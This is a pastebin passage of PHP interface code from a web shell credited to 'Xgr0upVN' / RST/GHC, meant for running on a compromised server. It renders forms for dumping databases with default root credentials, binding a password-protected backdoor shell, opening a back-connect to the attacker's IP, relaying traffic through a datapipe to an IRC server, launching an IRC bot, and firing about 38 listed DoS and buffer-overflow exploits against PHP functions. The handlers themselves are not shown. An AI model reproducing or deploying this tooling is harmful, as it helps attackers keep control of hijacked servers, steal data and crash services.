  3309. if($pg_on)    $select .= '<option>PostgreSQL</option>';
  3310. if($ora_on)   $select .= '<option>Oracle</option>';
  3311. $select .= '</select>';
  3312. echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  3313. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
  3314. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  3315. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  3316. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  3317. echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  3318. echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  3319. echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
  3320. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  3321. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  3322. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  3323. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  3324. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  3325. echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  3326. echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  3327. echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
  3328. }
  3329. if(!$safe_mode&&$unix){
  3330. echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  3331. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  3332. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'9999'));
  3333. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'SnIpEr'));
  3334. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  3335. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  3336. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3337. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  3338. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  3339. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'80'));
  3340. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  3341. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  3342. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3343. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  3344. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'80'));
  3345. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
  3346. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
  3347. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  3348. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  3349. echo $te."</td>".$fe."</tr></div></table>";
  3350. }
  3351.  
  3352. if($unix){
  3353. echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  3354. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  3355. echo sr(40,"<b>".$lang[$language.'_text214'].$arrow."</b>",in('text','ircadmin',15,'ircadmin'));
  3356. echo sr(40,"<b>".$lang[$language.'_text215'].$arrow."</b>",in('text','ircserver',15,'ircserver'));
  3357. echo sr(40,"<b>".$lang[$language.'_text216'].$arrow."</b>",in('text','ircchanal',15,'ircchanl'));
  3358. echo sr(40,"<b>".$lang[$language.'_text217'].$arrow."</b>",in('text','ircname',15,'ircname'));
  3359. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  3360. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3361. echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  3362. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ips',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  3363. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','ports',15,'80'));
  3364. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
  3365. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  3366.  
  3367. echo $te."</td>".$fe."</tr></div></table>";
  3368. }
  3369. echo $table_up1.div_title($lang[$language.'_text130'],'id1010').$table_up2.div('id1010').$ts."<tr><td valign=top width=25%>".$ts;
  3370. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text131']."</div></b></font>";
  3371. echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
  3372. echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe);
  3373. echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe);
  3374. echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe);
  3375. echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe);
  3376. echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe);
  3377. echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe);
  3378. echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
  3379. echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe);
  3380. echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe);
  3381. echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe);
  3382. echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe);
  3383. echo $te."</td><td valign=top width=25%>".$ts;
  3384. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text131']."</div></b></font>";
  3385. echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe);
  3386. echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe);
  3387. echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe);
  3388. echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe);
  3389. echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
  3390. echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe);
  3391. echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe);
  3392. echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe);
  3393. echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
  3394. echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe);
  3395. echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe);
  3396. echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe);
  3397. echo $te."</td><td valign=top width=25%>".$ts;
  3398. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text131']."</div></b></font>";
  3399. echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe);
  3400. echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe);
  3401. echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe);
  3402. echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe);
  3403. echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe);
  3404. echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe);
  3405. echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe);
  3406. echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe);
  3407. echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe);
  3408. echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe);
  3409. echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe);
  3410. echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe);
  3411. echo $te."</td><td valign=top width=25%>".$ts;
  3412. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text131']."</div></b></font>";
  3413. echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe);
  3414. echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe);
  3415. /*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/
  3416. echo $te."</td></tr></div></table>";
  3417. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ Xgr0upVN - shell by RST/GHC | <a href=http://Xgr0upVN.Vn>http://Xgr0upVN.Vn</a> | <a href=http://hcegroup.net>H@ck+Cr@ck=Enj0y!</a> | Design by: AluCaR | version ".$version." ]---o</b></font></div></td></tr></table>";
  3418.  
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!